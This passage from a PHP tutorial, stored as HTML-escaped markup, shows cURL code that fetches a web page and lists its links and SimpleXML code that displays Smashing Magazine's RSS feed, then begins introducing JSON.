&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_init();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// tell cURL what the URL is&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_URL, &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// tell cURL that you want the data back from that URL&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_RETURNTRANSFER, 1);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// run cURL&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_exec(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// end the cURL call (this also cleans up memory so it is&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// important)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_close(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// if a filter parameter with the value links was sent&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;filter&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] == &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;links&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// get all the links from the document and show them&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;preg_match_all(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;/&lt;a[^&gt;]+&gt;[^&lt;\/a&gt;]+&lt;\/a&gt;/msi&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$links&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;foreach&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$links&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[0] &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;as&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$l&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$l&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// otherwise just show the page&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;25&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;} &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;else&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;26&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;27&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;28&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;

If you open this in your browser, you&#39;ll get &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=12&amp;amp;filter=true&quot;&gt;all of the links from Smashing Magazine&lt;/a&gt; and no other content.&lt;/p&gt;&lt;p&gt;

&lt;img src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/04/links1.jpg&quot; alt=&quot;Smashing magazine links&quot; width=&quot;450&quot;&gt;&lt;/p&gt;&lt;p&gt;

Nowadays, though, we are more likely to use APIs than to load 
websites this way, which is why we need a way to convert the XML and 
JSON that are returned from Web services into PHP-friendly data.&lt;/p&gt;&lt;h3&gt;



Displaying XML Content&lt;/h3&gt;&lt;p&gt;

The easiest way to deal with XML content in PHP is to use the &lt;a href=&quot;http://php.net/manual/en/book.simplexml.php&quot;&gt;SimpleXML functions of PHP&lt;/a&gt;. Using these, we can turn a bunch of XML into a PHP object and loop over it. To &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=13&quot;&gt;show Smashing Magazine&#39;s RSS feed&lt;/a&gt;, we can do the following:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_169483&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;?php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;a href=&quot;http://rss1.smashingmagazine.com/feed/&quot;&gt;http://rss1.smashingmagazine.com/feed/&lt;/a&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_init();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_URL, &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_RETURNTRANSFER, 1);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_exec(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_close(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= simplexml_load_string(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;foreach&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;entry &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;as&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$e&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;&lt;a href=&quot;&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;. &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$e&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;link[0][&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;href&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] .&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$e&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;title.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/a&gt;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;

The &lt;code&gt;simplexml_load_string()&lt;/code&gt; function turns the XML document into a PHP object with arrays. How did I figure out to loop over &lt;code&gt;data-&gt;entry&lt;/code&gt; and get the &lt;code&gt;href&lt;/code&gt; via &lt;code&gt;link[0][&#39;href&#39;]&lt;/code&gt;? Simple. I did a &lt;code&gt;print_r($output)&lt;/code&gt; and checked the source of the document by hitting &lt;i&gt;Cmd + U&lt;/i&gt; in Firefox on my Mac. That showed me that this &lt;code&gt;entry&lt;/code&gt; is an array. I then did a &lt;code&gt;print_r($e)&lt;/code&gt; in the loop to see all the properties of every entry. If it is part of the &lt;code&gt;@attributes&lt;/code&gt; array, then you need to use the &lt;code&gt;[]&lt;/code&gt; notation.&lt;/p&gt;&lt;p&gt;

That&#39;s all. The only stumbling block you will encounter is CDATA blocks and namespaces in SimpleXML. Stuart Herbert &lt;a href=&quot;http://blog.stuartherbert.com/php/2007/01/07/using-simplexml-to-parse-rss-feeds/&quot;&gt;has a good introduction to these two issues in this article&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;



Displaying JSON Content&lt;/h3&gt;&lt;p&gt;

The data format &lt;a href=&quot;http://json.org/&quot;&gt;JSON&lt;/a&gt; is the low-fat 
alternative to XML. It is far less complex (e.g. no namespaces), and if 
you work in a JavaScript environment, it is native to the browser. This 
makes it very fast and easy to use, and for this reason it has started 
to become a popular data format for APIs. In essence, JSON is a 
JavaScript object. For example, I could write the LAMP stack example as 
